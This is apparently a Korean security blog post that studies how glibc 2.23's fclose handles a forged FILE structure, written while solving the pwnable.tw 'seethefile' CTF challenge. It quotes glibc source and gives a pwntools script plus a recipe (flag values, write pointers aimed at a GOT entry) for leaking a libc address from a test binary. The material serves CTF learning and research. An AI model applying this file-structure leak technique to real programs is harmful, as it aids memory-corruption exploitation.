환경은 ubuntu 16.04 libc-2.23이다.
pwnable.tw의 seethefile이라는 문제를 풀다가 좀 궁금해져서 연구하게 됬다.
fclose(fp) 를 할 때 파일 포인터가 가르키는 곳을 수정이 가능하다면 leak이 가능하다.
그리고 한가지 신기한점이 flag 조작을 잘하면 fclose가 작동안하게 만들 수 도 있다는점.
실습프로그램이다. stdout으로 진행했다.
일단 미리 magic flag들을 다 적어두었다.
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED 0x0002
#define _IO_NO_READS 0x0004 /* Reading not allowed. */
#define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
#define _IO_EOF_SEEN 0x0010
#define _IO_ERR_SEEN 0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IN_BACKUP 0x0100
#define _IO_LINE_BUF 0x0200
#define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
/* 0x4000 No longer used, reserved for compat. */
#define _IO_USER_LOCK 0x8000
int
_IO_new_fclose (FILE *fp)
{
int status;
CHECK_FILE(fp, EOF);
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
/* We desperately try to help programs which are using streams in a
strange way and mix old and new functions. Detect old streams
here. */
if (_IO_vtable_offset (fp) != 0)
return _IO_old_fclose (fp);
#endif
/* First unlink the stream. */
if (fp->_flags & _IO_IS_FILEBUF) //0x2000
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
if (fp->_mode > 0)
{
/* This stream has a wide orientation. This means we have to free
the conversion functions. */
struct _IO_codecvt *cc = fp->_codecvt;
__libc_lock_lock (__gconv_lock);
__gconv_release_step (cc->__cd_in.__cd.__steps);
__gconv_release_step (cc->__cd_out.__cd.__steps);
__libc_lock_unlock (__gconv_lock);
}
else
{
if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
}
_IO_deallocate_file (fp);
return status;
}
fclose 함수를 보자. 먼저 CHECK_FILE에서는 fp->flag를 검사하여 flag가 0xFBAD로 시작하는지 검사를 하고 시작하지 않으면 errno를 설정하고 eof를 반환한다. 그 다음에는 flag에 _IO_IS_FILEBUF 가 세팅되어있는지 검사를 하고 io_unlink를 수행해준다. 이 부분을 이용해 줄지 말지는 아직 모른다.
그리고 동일하게 IO_IS_FILEBUF가 세팅되어있으면 _IO_file_close_it 을 호출한다.
(만약 io_file_close_it 호출이 안되면 fclose 해도 계속 출력이 된다!)
int
_IO_new_file_close_it (FILE *fp)
{
int write_status;
if (!_IO_file_is_open (fp))
return EOF;
if ((fp->_flags & _IO_NO_WRITES) == 0
&& (fp->_flags & _IO_CURRENTLY_PUTTING) != 0)
write_status = _IO_do_flush (fp);
else
write_status = 0;
_IO_unsave_markers (fp);
int close_status = ((fp->_flags2 & _IO_FLAGS2_NOCLOSE) == 0
? _IO_SYSCLOSE (fp) : 0);
/* Free buffer. */
if (fp->_mode > 0)
{
if (_IO_have_wbackup (fp))
_IO_free_wbackup_area (fp);
_IO_wsetb (fp, NULL, NULL, 0);
_IO_wsetg (fp, NULL, NULL, NULL);
_IO_wsetp (fp, NULL, NULL);
}
_IO_setb (fp, NULL, NULL, 0);
_IO_setg (fp, NULL, NULL, NULL);
_IO_setp (fp, NULL, NULL);
_IO_un_link ((struct _IO_FILE_plus *) fp);
fp->_flags = _IO_MAGIC|CLOSED_FILEBUF_FLAGS;
fp->_fileno = -1;
fp->_offset = _IO_pos_BAD;
return close_status ? close_status : write_status;
}
io_file_close_it에서는 먼저 파일이 이미 닫혀있으면 EOF를 반환한다. 그리고flag에 _IO_NO_WRITES 가 없고 _IO_CURRENTLY_PUTTING은 있으면 _IO_do_flush(fp)를 호출해주는데 이녀석은 매크로로 정의된 함수다.
#define _IO_do_flush(_f) \
((_f)->_mode <= 0 \
? _IO_do_write(_f, (_f)->_IO_write_base, \
(_f)->_IO_write_ptr-(_f)->_IO_write_base) \
: _IO_wdo_write(_f, (_f)->_wide_data->_IO_write_base, \
((_f)->_wide_data->_IO_write_ptr \
- (_f)->_wide_data->_IO_write_base)))
이렇게 정의된 놈인데, do_write함수는 상당히 익숙한 함수이다. stdout flag 를 이용한 leak에서 다루었던 놈이기 때문이다. 이녀석을 따라들어가면 마지막에는 new_file_write가 실행되고
ssize_t
_IO_new_file_write (FILE *f, const void *data, ssize_t n)
{
ssize_t to_do = n;
while (to_do > 0)
{
ssize_t count = (__builtin_expect (f->_flags2
& _IO_FLAGS2_NOTCANCEL, 0)
? __write_nocancel (f->_fileno, data, to_do)
: __write (f->_fileno, data, to_do));
if (count < 0)
{
f->_flags |= _IO_ERR_SEEN;
break;
}
to_do -= count;
data = (void *) ((char *) data + count);
}
n -= to_do;
if (f->_offset >= 0)
f->_offset += n;
return n;
}
sys_write을 이용해서 write(f->fileno, io_write_base, io_write_ptr-io_write_base) 를 해준다. 만약 write base를 setvbuf의 got 로 바꾸어주면 leak이 되는것이다. 왜 setvbuf이냐면 이 과정후에는 write base와 write end가 다른값으로 변조될 수 있기 때문에 사용될 필요가 없는 setvbuf를 언급한 것이다.
일단 이후과정은 생각안하고 한번 여기까지만 실습을 해보자. 고려해줄 것은 _IO_IS_FILEBUF가 세팅되어있을때 호출되는 _IO_un_link 인데 _IO_LINKED(0x80) flag만 세팅을 안해주면 작동을 안하게된다. (실제로 파일을 open 했을때 linked flag는 세팅이 되어있지 않다.)
그리고 file_write 함수가 호출되기 전에는 do_write 함수가 호출이 되는데 io_read_end와 io_write_base가 다르면 이상한 짓을 하고 return 될 수도 있기 때문에 io_read_end 와 io_write_base는 같게 설정해야 한다.
마지막으로 f->fileno는 1로 설정을 해서 표준출력으로 인식되게 해야 출력이 된다.
다음과 같이 코드를 적어서 테스트 해보았다.
from pwn import*
p=process('./fclose_test')
setvbuf_got=0x601028
bss=0x601000+0x100
fake_fp=p64(0xfbad2802) #flags
#_IO_IS_FILEBUF,_IO_UNBUFFERED,_IO_CURRENTLY_PUTTING
fake_fp+=p64(bss) # read_ptr
fake_fp+=p64(setvbuf_got) #read_end
fake_fp+=p64(bss) #read_base
fake_fp+=p64(setvbuf_got) #write_base
fake_fp+=p64(setvbuf_got+8) #write_ptr
fake_fp+=p64(setvbuf_got+8) #write_end
fake_fp+=p64(bss+0x100) #io_buf_base
fake_fp+=p64(bss+0x100) #io_buf_end
pause()
p.send(fake_fp)
p.recvline()
setvbuf=u64(p.recv(6).ljust(8,'\x00'))
print('setvbuf : '+hex(setvbuf))
p.interactive()
leak이 되고 죽었다. 어디서 죽었는지 보니까 _IO_setb라는 함수였다.
void
_IO_setb (FILE *f, char *b, char *eb, int a)
{
if (f->_IO_buf_base && !(f->_flags & _IO_USER_BUF))
free (f->_IO_buf_base);
f->_IO_buf_base = b;
f->_IO_buf_end = eb;
if (a)
f->_flags &= ~_IO_USER_BUF;
else
f->_flags |= _IO_USER_BUF;
}
여기서 buf_base를 free해주는데 여기서 죽은 것이다, 그래서 buf base를 null로 줘봤다.
만약 tcache상황이라면 heap leak이 됬다고 가정했을 때 fake free해서 다음에는 그냥 쉘을 따는 상황이 나올 수도...?
죽지않고 getchar까지 잘 받은 다음 프로그램이 정상종료 되었다.
정리
fclose(fp) 이전에 *fp 변조가 가능할 때 PIE가 걸려있지 않을 때 (got 고정)
1. flag=0xfbad2802
2. io_read_end=io_write_base 그리고 io_write_base 에는 got 적어주고, write_ptr에는 got+8 적어준다.
3. buf_base는 0으로 세팅
하면 적어놓은 got에 해당하는 libc값이 leak 된다.
쓸대가 있을지는 모르겠지만..
그리고 생각해봤는데 stdout flag 변조하고 뒤에 null문자 25개 주는 방법과 비슷하게 PIE가 걸려있을 때
만약 임의 주소에 null을 적을 수 있는 상황이 나온다면 비슷하게 leak은 될 듯하다. 다양한 경우가 존재할 듯.
파일관련 함수들은 분석하는게 상당히 재밌는거 같다. 너무 더럽게 분산된것만 빼고는...
알아두어서 나쁜 것 없을 것 같다.
'Security > 개인 연구' 카테고리의 다른 글
malloc.c 분석 [2] _int_malloc (fastbin, smallbin) (2) | 2020.12.28 |
---|---|
malloc.c 분석 [1] __libc_malloc (feat. Arena) (0) | 2020.12.28 |
Ubuntu 16.04 Exploit 테크닉 정리 (0) | 2020.12.17 |
_call_tls_dtors exploit (0) | 2020.11.26 |
/proc/pid/mems 리눅스에서 프로세스 해킹하기 (0) | 2020.11.26 |